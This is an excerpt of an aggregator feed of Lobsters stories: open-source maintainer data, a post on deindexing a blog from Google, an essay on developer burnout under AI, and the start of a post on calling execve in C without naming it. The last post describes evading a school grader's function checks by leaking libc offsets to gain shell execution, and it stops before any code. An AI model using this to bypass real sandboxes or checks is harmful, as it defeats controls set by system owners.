&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/long-story-short?r=hold_plug&amp;amp;utm_source=holding-up-the-internet&amp;amp;utm_medium=drop&amp;amp;utm_content=plug&quot;&gt;Play today’s&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Who is inside the device you are holding&lt;/h3&gt;
&lt;p&gt;We guessed your device from your browser. Nothing is sent anywhere.&lt;/p&gt;
&lt;h3&gt;How we know&lt;/h3&gt;
&lt;p&gt;Each dot is one project. Across: phones and computers it ships on by default, a lower bound. Up: people who made ten or more changes in the last twelve months. Hover a dot.&lt;/p&gt;
&lt;p&gt;We took the full public history of each project and kept the changes written between 7 October 2025 and 7 October 2026, leaving out merges and bots. A person counts if they made ten or more changes in that time. A change&#39;s author is not always the maintainer, and some of these projects publish their history as a copy of another system.&lt;/p&gt;
&lt;p&gt;For devices we counted a project on a platform only when we could see it there. On Android we listed the system libraries of an Android 16 image and read inside them, which is how we found that Android&#39;s &amp;quot;liblzma&amp;quot; is 7-Zip&#39;s code and not xz. For the iPhone we read the system libraries listed in Apple&#39;s iOS 26.2 developer kit. For Windows we used Microsoft&#39;s announcement for curl and the code inside Edge, which comes with every copy. Android has over three billion active devices (Google, 2022), iPhones over one billion (Apple, 2021) and Windows 1.6 billion a month (Microsoft, 2026). Macs, iPads, servers, cars and TVs are left out, so every device number here is lower than the real one.&lt;/p&gt;
&lt;p&gt;&amp;quot;No public grant&amp;quot; means none from the Sovereign Tech Agency, Alpha-Omega, Open Collective or GitHub Sponsors, not that nobody has ever paid these people. If we got your project wrong, tell us and we will fix it.&lt;/p&gt;
&lt;p&gt;Data: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/assets/holding-up-the-internet/data/dataset_v2.json&quot;&gt;the 23-project table&lt;/a&gt; · &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/assets/holding-up-the-internet/data/walls.json&quot;&gt;every change shown&lt;/a&gt; · &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/assets/holding-up-the-internet/data/zones.json&quot;&gt;time zone lines with who last changed them&lt;/a&gt; · &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/assets/holding-up-the-internet/data/build_data.py&quot;&gt;the script&lt;/a&gt;.&lt;br /&gt;
Sources: tz mailing list and RFC 6557; IANA tzdb NEWS 2026e; EFF, Astrolabe v. Olson; xz-devel, 8 June 2022; Russ Cox&#39;s xz timeline; Andres Freund on oss-security, 29 March 2024; Denis Pushkarev, &amp;quot;So, what&#39;s next?&amp;quot; (2023); millert.dev and The Register, 3 February 2026; libjpeg-turbo.org; sqlite.org/mostdeployed and /crew; Wikipedia on Mark Adler; David A. Wheeler&#39;s Shellshock timeline; HarfBuzz README; daniel.haxx.se, 2025 review; Steve Marquess, &amp;quot;Of Money, Responsibility, and Pride&amp;quot; (2014); Netcraft, 7 April 2014; sovereign.tech; Alpha-Omega 2025 report; GNOME Discourse, 15 September 2025; libxml2&#39;s commit history and Nick Wellnhofer&#39;s corrections (October 2026); Sebastian Pipping, &amp;quot;libexpat now funded by the City of Munich&amp;quot;, 4 August 2026.&lt;br /&gt;
Photos: Paul Eggert, FSF / LibrePlanet 2022, CC BY-SA 3.0. Mark Adler, NASA, public domain. Behdad Esfahbod, CC0. Daniel Stenberg, CC BY 4.0. Comic: xkcd 2347, CC BY-NC 2.5.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:2d40dc34dc6acba9c870a9219204affab4e774af</id>
    <title type="text">I&#39;ve Been Deindexed by Google</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-08-i-ve-been-deindexed-by-google/"/>
    <link rel="via" type="text/html" href="https://kennyqin.com/deindexed-by-google/"/>
    <published>2026-10-08T07:59:30+00:00</published>
    <updated>2026-10-08T07:59:30+00:00</updated>
    <author>
      <name>kennyqin.com via brn</name>
    </author>
    <category term="news"/>
    <category term="degoogle"/>
    <category term="meta"/>
    <category term="practices"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;I don&#39;t remember exactly when but, earlier in the year, I decided I didn&#39;t want this website to be indexed by search engines anymore. A lot of it has to do with AI and the relentless scraping that plagues the internet now. I know that as long as my blog is accessible by the public internet, there are no real measures I can put in to stop it but at least some of it will be respected.&lt;/p&gt;
&lt;p&gt;I started out by setting a blanket disallow in the robots.txt.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;User-agent: *
Disallow: /
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When I realised that didn&#39;t do anything after a few weeks of waiting and checking, I set the &lt;code&gt;robots&lt;/code&gt; meta tag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;&amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex, nofollow&amp;quot; /&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I thought that would do the trick. What I didn&#39;t realise is that you have to actually, ironically, &lt;strong&gt;allow&lt;/strong&gt; the bot that will do the deindexing to visit your website so that it can see the meta tag that tells it to not index your page anymore.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;code-snippet&quot;&gt;User-agent: Googlebot
Allow: /

User-agent: *
Disallow: /
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also did this with several other common bots and removed them from the robots.txt whenever I found that my website had been deindexed.&lt;/p&gt;
&lt;p&gt;It&#39;s been at least 3 months since I did my last change to have Google deindex me and, after checking today, I&#39;m happy to announce that this website is free from Google! 🥳&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:13379f9705e0aaec48fda8275cbe7d48eba77594</id>
    <title type="text">Software developers are not okay</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-07-software-developers-are-not-okay/"/>
    <link rel="via" type="text/html" href="https://www.baldurbjarnason.com/2026/05-software-developers-are-not-okay/"/>
    <published>2026-10-07T19:35:08+00:00</published>
    <updated>2026-10-07T19:35:08+00:00</updated>
    <author>
      <name>baldurbjarnason.com via aloys</name>
    </author>
    <category term="news"/>
    <category term="philosophy"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.baldurbjarnason.com/tags/podcast/&quot;&gt;podcast&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The full essay version &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.baldurbjarnason.com/2026/05-software-developers-are-not-okay/#software-developers-are-not-doing-well&quot;&gt;is below the overview and embeds&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can subscribe to the &lt;em&gt;audio-only&lt;/em&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://podcasts.apple.com/us/podcast/out-of-the-software-crisis/id6814465241&quot;&gt;podcast feed over on Apple’s Podcast app&lt;/a&gt; and other apps if audio is more your speed.&lt;/p&gt;
&lt;p&gt;It’s also available as a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.baldurbjarnason.com/podcast.xml&quot;&gt;raw podcast feed&lt;/a&gt; if you want to subscribe to it directly in the podcast app of your choice.&lt;/p&gt;
&lt;h2&gt;Video&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=KsEpW03gxKg&quot;&gt;YouTube video player&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Audio&lt;/h2&gt;
&lt;hr /&gt;
&lt;h2&gt;Overview and references&lt;/h2&gt;
&lt;p&gt;People in the software industry don’t seem to be doing too well at the moment. There has been a spate of “I’m leaving my tech job” videos – some because they’ve been laid off, some leaving preemptively – but the interesting action has been taking place in the comment sections, replies, and discussion forums. The replies are where it’s at. The videos themselves vary in quality.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=H0HwFqBG9KE&quot;&gt;&lt;em&gt;Software Engineer: I’m Tired of Pretending&lt;/em&gt;&lt;/a&gt;. (Over 3000 comments!)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=TYuSEeuUhPo&quot;&gt;&lt;em&gt;Software engineer driven to insanity from 2026 Job Market&lt;/em&gt;&lt;/a&gt;. (Almost 10 000 comments!)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=3BNW78EQeaE&quot;&gt;&lt;em&gt;I’m out. Leaving tech behind forever.&lt;/em&gt;&lt;/a&gt; (1683 comments.)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=SaHHgzoXceU&quot;&gt;&lt;em&gt;It was more fun before AI&lt;/em&gt;&lt;/a&gt; (1803 comments.)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=0Lo6MSGrxEA&quot;&gt;&lt;em&gt;I was replaced by AI&lt;/em&gt;&lt;/a&gt; (1312 comments.)&lt;/li&gt;
&lt;li&gt;YouTube: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=0PjE-Z5SgCE&quot;&gt;&lt;em&gt;AI has sucked all the fun out of programming&lt;/em&gt;&lt;/a&gt; (2132 comments.)&lt;/li&gt;
&lt;li&gt;Reddit: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://old.reddit.com/r/webdev/comments/1s6mtt7/ai_has_sucked_all_the_fun_out_of_programming/&quot;&gt;&lt;em&gt;AI has sucked all the fun out of programming&lt;/em&gt;&lt;/a&gt;. (571 comments.)&lt;/li&gt;
&lt;li&gt;Reddit: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reddit.com/r/ClaudeAI/comments/1wm5c21/i_am_done_with_this_shit/?solution=202c88a99ccc40d7202c88a99ccc40d7&amp;amp;js_challenge=1&amp;amp;jsc_token=2824be10929bdc604753c70a67a1c331b44f09593ad4b7388851f6d9034bea03&amp;amp;jsc_orig_r=&quot;&gt;&lt;em&gt;I am done with this shit.&lt;/em&gt;&lt;/a&gt; (1100 comments.)&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=PqFDy7YplG4&amp;amp;t=885s&quot;&gt;&lt;em&gt;I lost my UX career to AI (I’m done)&lt;/em&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=vfhzUPj9tBY&quot;&gt;&lt;em&gt;Why I Quit my Job as a Software Engineer at Amazon&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=YXqZV3WVVy8&quot;&gt;&lt;em&gt;Life As a Software Engineer Is Depressing In 2026.&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=EqqPOky-Nv8&quot;&gt;&lt;em&gt;I Don’t Think I’ll Ever Enjoy “AI” Coding&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=kI9K_XysquQ&quot;&gt;&lt;em&gt;Are ALL Software Engineers Burning Out? Thanks to AI…&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Facebook’s aborted “AI coder” transition: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reuters.com/investigations/mark-zuckerberg-had-bold-plan-replace-meta-staff-with-ai-heres-how-it-imploded-2026-08-26/&quot;&gt;&lt;em&gt;Mark Zuckerberg had a bold plan to replace Meta staff with AI. Here’s how it imploded.&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The drop in new students in Computer Science in Iceland. (The drop was 30%, not 40% as I said in the video/podcast.) &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.ruv.is/frettir/innlent/2026-09-16-nynemum-i-tolvunarfraedi-og-tengdum-greinum-faekkadi-um-thridjung-milli-ara-487214&quot;&gt;&lt;em&gt;Nýnemum í tölvunarfræði og tengdum greinum fækkaði um þriðjung milli ára&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Software developers are not doing well&lt;/h2&gt;
&lt;p&gt;We’re not doing well in the software industry.&lt;/p&gt;
&lt;p&gt;We’ve all sensed it. Things are a bit off.&lt;/p&gt;
&lt;p&gt;It’s not just the “AI” financial bubble, or the debates that have been taking place – arguments, more properly – or the ongoing shift in public sentiment regarding the software industry.&lt;/p&gt;
&lt;p&gt;I’m talking the fact that people who work in software – specifically developers and user experience designers – are not doing great.&lt;/p&gt;
&lt;p&gt;I keep coming across videos of people talking about burning out, being unable to work, and in some cases fairly serious mental health issues. And, obviously, people are getting fired. But often in these videos, those who are doing videos and announcing they’ve been laid off mention that they were thinking about quitting anyway and are now planning on leaving tech entirely.&lt;/p&gt;
&lt;p&gt;It’s not just senior people who might have memories and a fondness for how things used to be – stress mixed with nostalgia. It’s also students. I’ve found several videos of students who announced that they had switched majors, had been studying user experience design, but now decided to switch to something else.&lt;/p&gt;
&lt;p&gt;With a few notable exceptions, these generally aren’t people who are against “AI” – or, at least, they weren’t against “AI” until very recently.&lt;/p&gt;
&lt;p&gt;These aren’t people who disliked the technology from the start, who have had very severe criticisms about the way it’s made, the way it’s forced on people, or have severe doubts about the long-term benefits of applying this technology to our industry.&lt;/p&gt;
&lt;p&gt;They seem to have all embraced “AI” at some point and assumed that what they were told was true, that this was the future. “This is where things are going.” &lt;em&gt;This is what software development will be like, now and forever.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After all that, one of the reasons why quite a few of them are leaving, is that they believe this promise. When they’re told that this is the future of the industry, they accept that statement as true. They’ve tried it; understand it and think to themselves: “I see your point, but this isn’t fun any more. This isn’t enjoyable. This is bad for me.”&lt;/p&gt;
&lt;p&gt;And decide to leave.&lt;/p&gt;
&lt;p&gt;There are a number of systemic factors for why this is happening to them, for why the software industry is an increasingly inhospitable work environment.&lt;/p&gt;
&lt;p&gt;What software developers are facing is a case of “incentives”.&lt;/p&gt;
&lt;p&gt;Namely, managerial and executive incentives, specifically. The industry’s incentives for those who run the industry give them a strong motivation to try to undercut labour and their workforce at every turn.&lt;/p&gt;
&lt;p&gt;And they have been giving it their honest best.&lt;/p&gt;
&lt;p&gt;Facebook attempted, for example, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reuters.com/investigations/mark-zuckerberg-had-bold-plan-replace-meta-staff-with-ai-heres-how-it-imploded-2026-08-26/&quot;&gt;to replace a number of their software developers directly with AI tools.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;They had to dial that down because the technology simply isn’t capable of what they believed it could do.&lt;/p&gt;
&lt;p&gt;But the intent has always been there to reduce the headcount of the industry. A number of incentives for managers and executives that are lined up to push them in that direction.&lt;/p&gt;
&lt;p&gt;The fewer people you have working for you, the fewer stock options you have to pay out, the less resistance there will be to watering down the product, collaborating with the military-industrial complex, or helping authoritarian governments control and murder their citizens. Over the past two decades, one of the more effective forces for keeping tech companies in line have been the tech workers themselves who have tried resist corrupt and unethical behaviour. It hasn’t always worked. There wasn’t enough of it. But what little there was it added meaningful friction at several important moments in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Meredith_Whittaker#Google&quot;&gt;tech history&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The less influence and power the labour force has, the more power goes to the executive class and the bigger their share of the pie.&lt;/p&gt;
&lt;p&gt;If they lay people off that means there are few people working in any given organization doing the same amount of work. That means more stress and more pressure.&lt;/p&gt;
&lt;p&gt;As bad as the added workload and burnout is, that isn’t the only change to the job.&lt;/p&gt;
&lt;p&gt;There’s also less novelty.&lt;/p&gt;
&lt;p&gt;I’ve noticed that even though there’s an increasing number of apps or software being deployed, they’re all either the same “AI” products or “AI” features released everywhere. Or, they are agent-generated clones of existing software.&lt;/p&gt;
&lt;p&gt;None of it is novel. It’s almost exclusively old ideas poured into new containers.&lt;/p&gt;
&lt;p&gt;One of the problem we have as software developers, and I definitely count myself as somebody with this problem, is that we are a novelty-seeking group.&lt;/p&gt;
&lt;p&gt;These changes mean we’re doing more with less time, probably less reward as well, and the job itself is less interesting.&lt;/p&gt;
&lt;p&gt;It’s also the nature of the agent automation to feel more like delegation to a clueless junior developer than automation, and that changes your relationship to the work.&lt;/p&gt;
&lt;p&gt;In woodworking, the power tools didn’t reduce the woodworker’s emotional investment in what they made. The worker still felt like they’d made that thing out of wood themselves.&lt;/p&gt;
&lt;p&gt;Some woodworkers might still use hand tools for a variety of reasons – some of them romantic, some of them, you know, just because it’s more fun.&lt;/p&gt;
&lt;p&gt;But having a table saw doesn’t make you feel like you’ve asked somebody else to make the shelf, or table, or chair.&lt;/p&gt;
&lt;p&gt;The nature of automation with Large Language Model tools feels substantially different from prior attempts at automation in coding. It’s an abstraction that feels like a delegation, not an automation, and separates you from the output.&lt;/p&gt;
&lt;p&gt;That has an effect of making you feel less invested in the output and that takes away much the joy of coding. The flow state is also gone, the sort of focused state of mind that you get into when you’re really deep into solving a problem.&lt;/p&gt;
&lt;p&gt;On top of the changes to the job itself, the industry itself has changed as well.&lt;/p&gt;
&lt;p&gt;There is more uncertainty. People know there are layoffs every quarter. They know they’re probably next on the block. Or, if they aren’t, they’ll be on the block next quarter instead. They know the reasons for dismissal are going to be arbitrary. They know they generally aren’t going to be able to do anything to improve their odds.&lt;/p&gt;
&lt;p&gt;And if they talk about how bad all of this makes them feel, the “AI” true believers will turn around and say that it’s a skill issue. &lt;em&gt;It’s your fault.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There’s a lot of stress, and worry, and pressure in the industry that wasn’t there before.&lt;/p&gt;
&lt;p&gt;I suspect that everybody’s suffering. Some are just better at pretending.&lt;/p&gt;
&lt;p&gt;This makes people want to get ahead of the lay-offs and quit. Especially those who have some savings.&lt;/p&gt;
&lt;p&gt;But even that lines up with the incentives of the executives who are running these companies. People who quit don’t get a nice severance package. People who quit might not be fully vested.&lt;/p&gt;
&lt;p&gt;And even if you have savings, you can’t time your quitting based on your finances if you have to get out to preserve your mental health.&lt;/p&gt;
&lt;p&gt;Once you’re gone, the company can hire somebody to replace you out of the vast pool of now unemployed software developers at what will probably be lower pay.&lt;/p&gt;
&lt;p&gt;Executive incentives are aligned to perpetuate the situation and even to make it worse. From the perspective of the executives who are running a software company, this perpetually precarious situation for their employees makes up for their inability to replace software developers completely with “AI”.&lt;/p&gt;
&lt;p&gt;Instead of being able to outsource all your software development to an “AI”, they can effectively semi-outsource it to “AI” and have the automated shitstorm managed by a group of people in a perpetually vulnerable state, who are unable to ask for a higher pay, unable to negotiate for a better position, and unable to say no to unreasonable demands.&lt;/p&gt;
&lt;p&gt;It lets management lower costs and strengthens their bargaining position versus the labour class that they’re dominating.&lt;/p&gt;
&lt;p&gt;This isn’t a situation that will fix itself when the “AI” financial bubble collapses.&lt;/p&gt;
&lt;p&gt;The bubble will pop. It’s much too big to be sustainable.&lt;/p&gt;
&lt;p&gt;But that won’t fix software industry employment because the Large Language Models don’t really need to work that well for this process. They only need to sort of work.&lt;/p&gt;
&lt;p&gt;As long as you can find more overworked software developers, and push them hard until they burn out trying to maintain a minimum standard of quality, you can keep the “AI”-driven labour alienation going. They can use cheaper Chinese models. Or, if they switch to local models, they can make owning a high-end laptop a job requirement.&lt;/p&gt;
&lt;p&gt;“You need to spend $5000 USD on a laptop before you apply for this job. That filters out the ‘AI’-generated resumes, you see.”&lt;/p&gt;
&lt;p&gt;Why take on the massive costs of RAM when you can use that cost to lower developer pay by proxy?&lt;/p&gt;
&lt;p&gt;The overall dynamic doesn’t change once the costs increase for the hosted models. Those models will just get more stagnant; they might not get updated as often; the training data will be stale; the code it generates will be perpetually on the verge of outdated; and they’ll be run with more errors.&lt;/p&gt;
&lt;p&gt;Management won’t care.&lt;/p&gt;
&lt;p&gt;The work of making up for that is going to be pushed on the developer adding to their load and pressure.&lt;/p&gt;
&lt;p&gt;My worry, based on the research I’ve been doing and looking at the systemic incentives of the companies in the software industry, is that this is probably about as good as it’s going to get for a software developer at a large company in the tech industry.&lt;/p&gt;
&lt;p&gt;This misery, this pressure, the overwork, the underpayment, the detachment from the work – this is probably what making mainstream software is going to feel like from now on.&lt;/p&gt;
&lt;p&gt;It doesn’t surprise me that the people within the software industry who seem to be spotting the issue and leaving preemptively seem to be user experience designers.&lt;/p&gt;
&lt;p&gt;Designers have slightly more training in looking at the system within which the user operates, and it doesn’t take that much of a shift in framing for them to understand where they stand themselves.&lt;/p&gt;
&lt;p&gt;But software developers are coming to this conclusion as well, especially students. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.ruv.is/frettir/innlent/2026-09-16-nynemum-i-tolvunarfraedi-og-tengdum-greinum-faekkadi-um-thridjung-milli-ara-487214&quot;&gt;There was a new story recently here in Iceland that year-on-year, sign-ups for computer science at the universities here in Iceland had declined on the order of 30% decreases every year.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://finance.yahoo.com/technology/ai/articles/computer-science-enrollment-fell-first-130917911.html&quot;&gt;And Iceland doesn’t seem to be alone in this.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;People are realising that this is a bad career to be in and an industry that’s hostile to its workers.&lt;/p&gt;
&lt;p&gt;I suspect many more people over the next few years are going to be having identity crises on top of the career issues.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Who am I if I’m not in tech? If I’m not a software developer?”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Because if you’ve built your entire identity around software and tech, around being a programmer, around being a tech person who works to enable “progress” and drive the world to the future, you’re going to have a bad time after being pushed out of that role and seeing your former industry studiously dismantle everything you thought you were building.&lt;/p&gt;
&lt;p&gt;I don’t know what we can do, except understand and accept that this is happening.&lt;/p&gt;
&lt;p&gt;It’s a horrible thought, but you can’t deal with change if you stay in denial.&lt;/p&gt;
&lt;p&gt;I think it might be time – if you’re working in software – to think about a possible future outside the tech industry proper.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Previous entry&lt;/p&gt;
&lt;p&gt;28 September 2026&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next entry&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:696ae10531c2db80e23e25cfe0a66f9e87f73878</id>
    <title type="text">Calling a function in C without naming it</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-07-calling-a-function-in-c-without-naming-it/"/>
    <link rel="via" type="text/html" href="https://wiro.world/posts/calling-c-func-without-naming-it/"/>
    <published>2026-10-07T18:15:02+00:00</published>
    <updated>2026-10-07T18:15:02+00:00</updated>
    <author>
      <name>wiro.world by mrnossiom</name>
    </author>
    <category term="news"/>
    <category term="c"/>
    <category term="security"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;My school has a controlled remote code execution environment to automatically grade the code we submit. The system checks execution, verifies proper formatting and surely has other checks not shown to the user (e.g. a code plagiarism detection tool &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiro.world/posts/calling-c-func-without-naming-it/#gconf-plagiarism&quot;&gt;1&lt;/a&gt;). The interface reports results mismatches and compilation errors.&lt;/p&gt;
&lt;p&gt;A friend and I started to search for a way to have a single solution that could solve every exercise. The first step in that direction was to have a primitive that could give us arbitrary shell code execution. We assumed there would be an &lt;code&gt;sh&lt;/code&gt; binary on the grading &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Virtual_machine&quot;&gt;&lt;em&gt;VM&lt;/em&gt;&lt;/a&gt; such that we could simply call &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Exec_(system_call)&quot;&gt;&lt;code&gt;execve&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So... are we done? You guessed it, no.&lt;/p&gt;
&lt;p&gt;Remember when I told that the grading system had other sanity checks? Well, one of them is to check that you only use functions allowed in the subject of the exercise. And &lt;code&gt;execve&lt;/code&gt; is never one of them, so it fails the submission before your code even gets to run. From what we experienced, the system is a little more involved than a simple &lt;code&gt;grep&lt;/code&gt; of the source code. My guess is that it uses &lt;code&gt;clang&lt;/code&gt; to pre-process and parse the code and then does its checks against the resulting &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Abstract_syntax_tree&quot;&gt;AST&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is where we get to the core of the problem. We need to call &lt;code&gt;execve&lt;/code&gt; but we are not allowed to name the symbol. So how can we do it?&lt;/p&gt;
&lt;p&gt;Zooming back a bit, we know that our C code essentially gets compiled to a binary and calling a function boils down to a jump to some place in memory. Could we not retrieve the address of &lt;code&gt;execve&lt;/code&gt; in memory, hardcode it in our program and call it directly?&lt;/p&gt;
&lt;p&gt;In modern laptop software, memory addresses are often execution-dependent. This happens because modern kernels implement &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;&lt;em&gt;Address Space Layout Randomization&lt;/em&gt; (ASLR)&lt;/a&gt; which randomizes addresses at which your binary, its libraries, heap and stack are placed. Nowadays, C code compiles using the &lt;code&gt;-pie&lt;/code&gt; flag by default, this creates a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables&quot;&gt;&lt;em&gt;position-independent executable&lt;/em&gt;&lt;/a&gt; and means that your binary can indeed take advantage of &lt;em&gt;ASLR&lt;/em&gt;. We could use the &lt;code&gt;-no-pie&lt;/code&gt; C compiler flag to disable this behavior and force fixed addresses for functions in our binary. This doesn&#39;t help because we most often do not control the build process in our case. Second, the &lt;code&gt;execve&lt;/code&gt; function is not directly part of our executable but dynamically loaded, so it still is at a random place.&lt;/p&gt;
&lt;p&gt;Static addresses won&#39;t work. But &lt;em&gt;ASLR&lt;/em&gt; only acts on the mapping of the segments, their content is left intact. Inside a segment, functions are still ordered in the same way. If we manage to know the static offset between the memory addresses of two functions fA and fB, obtaining the address of fA allows us to construct the address of fB and vice-versa.&lt;/p&gt;
&lt;p&gt;The offset varies from a machine to another because of a different version of the C library, or maybe a different architecture, or maybe for some other reason. There are multiple ways to obtain the fixed offset between two functions on the target machine. One of them is to just leak the offset in an exercise where you can name symbols of both fA and fB.&lt;/p&gt;
&lt;p&gt;Our target function is still &lt;code&gt;execve&lt;/code&gt; which is part of &lt;code&gt;libc&lt;/code&gt;. We assume we always have access to &lt;code&gt;printf&lt;/code&gt;. We just have to leak the offset between the two functions on the VM. Let&#39;s test this locally first:&lt;/p&gt;
